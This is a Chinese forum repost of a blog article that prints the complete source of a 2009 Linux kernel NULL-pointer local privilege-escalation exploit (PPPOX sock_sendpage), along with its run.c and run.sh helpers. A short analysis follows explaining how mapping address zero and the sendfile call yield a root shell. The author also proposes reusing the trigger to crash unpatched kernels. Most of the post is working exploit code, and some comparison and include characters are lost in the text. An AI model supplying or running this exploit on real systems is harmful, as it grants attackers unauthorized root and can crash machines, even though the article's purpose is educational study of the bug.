- 论坛徽章:
- 36
|
本文贴出
《Linux内核NULL指针引发的BUG(二)--剖析
》(下文简称文二)中提到全部源码。源码的链接为:
http://www.securityfocus.com/data/vulnerabilities/exploits/36038-4.tgz
本文欢迎自由转载,但请标明出处,并保证本文的完整性。
作者:Godbach
Blog:
http://Godbach.cublog.cn
日期:2010/01/13
一、源码
源码总共分为三个文件:exploit.c,run.c和run.sh。
1. exploit.c的源码如下:
/*
* 14.08.2009, babcia padlina
*
* vulnerability discovered by google security team
*
* some parts of exploit code borrowed from vmsplice exploit by qaaz
* per_svr4 mmap zero technique developed by Julien Tinnes and Tavis Ormandy:
* http://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/
*/
#include stdio.h>
#include sys/socket.h>
#include sys/user.h>
#include sys/types.h>
#include sys/wait.h>
#include inttypes.h>
#include sys/reg.h>
#include unistd.h>
#include stdio.h>
#include stdlib.h>
#include sys/mman.h>
#include sys/personality.h>
static unsigned int uid, gid;
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
#define STACK(x) (x + sizeof(x) - 40)
void exit_code();
char exit_stack[1024 * 1024];
static inline __attribute__((always_inline)) void *get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
static inline __attribute__((always_inline)) void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i 1024-13; i++) {
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
void exit_code()
{
if (getuid() != 0) {
fprintf(stderr, "failed\n");
exit(-1);
}
execl("/bin/sh", "sh", "-i", NULL);
}
int main(void) {
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) 0) {
perror("mprotect");
return -1;
}
}
*(char *)0 = '\x90';
*(char *)1 = '\xe9';
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;
if ((fdin = mkstemp(template)) 0) {
perror("mkstemp");
return -1;
}
if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) 0) {
perror("socket");
return -1;
}
unlink(template);
ftruncate(fdin, PAGE_SIZE);
sendfile(fdout, fdin, NULL, PAGE_SIZE);
}
2. run.c的代码如下:
#include sys/personality.h>
#include stdio.h>
#include unistd.h>
int main(void) {
if (personality(PER_SVR4) 0) {
perror("personality");
return -1;
}
fprintf(stderr, "padlina z lublina!\n");
execl("./exploit", "exploit", 0);
}
3. run.sh的代码如下:
#!/bin/sh
gcc -o run run.c && \
gcc -o exploit exploit.c && \
./run
二、简要分析
可见,run.sh无非就是编译expolit.c和run.c并执行run程序。而run.c中其实就是先设置一下程序的执行域PER_SVR4,然后就执行exploit程序。
那么,我们应该可以将run.c中设置执行域的那段代码放到exploit.c中main函数的开始部分,这样就可以将可执行程序合并成1个了。
根据文二的分析,exploit.c中最后创建socket并调用sendfile部分的代码,即触发内核NULL pointer的代码。因为PPPOX协议的proto_ops结构并未初始化sock_sendpage函数指针。因为该函数指针指向NULL。因此,调用sendfile到内核之后,最终调用了sock_sendpage。由于其指向NULL,我们之前的代码已经将0地址进行映射,并设置为可执行。故而就执行0地址的执行,即jmp kernel_code。通过kernel_code函数,获取到了系统的root权限。
这里还牵涉到另外一个问题,也就是通常系统是不能将0地址映射的,具体可参见
《Linux内核NULL指针引发的BUG(一)--介绍》
,简称文一。即通过sysctl变量vm.mmap_min_addr设置实现。但是一些LSM诸如SElinux对其进行了修改。这就导致了可以映射0地址。以上代码之所以可以顺利的获取到root权限就在于系统启用了SElinux模块。如果关闭SElinux,该代码就不会执行成功。
因此,有文章就提到SElinux反而弱化了Linux系统的安全功能。我们将在下一篇文章中转载一篇SElinux Team的开发人员发表的一篇文章,谈到了他对SElinux和non-SElinux的系统安全的看法。
三、总结
对于这样的BUG,个人有两点内容总结:
(1)我们可以通过该Bug的利用方式,能够明白只要有相关用户态的调用切换到内核态,而内核态调用的函数指向了NULL,那么上面的代码就可以顺利的执行。
本人曾经在开启SElinux的系统上,加载一个注册proc文件的内核模块。其中read函数里面调用了一个指向NULL的函数指针。然后将引发BUG的代码(上面的socket和sendfile)改为打开一个proc文件(调用open和read),同样获取到root用户的权限。
(2)即使在有些系统上无法顺利的利用该漏洞获取到root权限,但是只要其相关的代码没有修改,比如sock_sendpage函数调用之前仍不判断其有效性,那么我们同样可以利用exploit.c中触发BUG的代码,来攻击一个系统,至少可以上该系统的内核报出Oops。
这也相当于为我们提供了一种挖掘Linux内核BUG的方法。
本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/33048/showart_2147683.html |
|